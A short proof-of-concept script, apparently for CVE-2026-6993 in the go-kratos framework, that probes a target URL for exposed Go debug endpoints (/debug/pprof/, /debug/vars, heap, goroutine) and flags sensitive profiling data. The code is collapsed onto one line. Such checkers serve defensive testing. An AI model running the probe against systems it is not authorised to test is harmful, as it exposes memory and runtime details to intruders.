CVE-2026-6993 go-kratos回退处理程序漏洞

import requests # Target URL (Replace with actual target) target_url = "http://127.0.0.1:8000" # Common paths that might be exposed via http.DefaultServeMux fallback test_paths = [ "/debug/pprof/", "/debug/vars", "/debug/pprof/heap", "/debug/pprof/goroutine", "/" ] print(f"Checking {target_url} for CVE-2026-6993 exposure...") for path in test_paths: try: response = requests.get(target_url + path, timeout=5) if response.status_code == 200: print(f"[+] Potential exposure found at: {path}") print(f" Status: {response.status_code}") # Check for content indicating pprof or debug info if "heap" in response.text or "goroutine" in response.text: print(f" [!] Sensitive debug data detected!") else: print(f"[-] No access to {path} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {target_url + path}: {e}")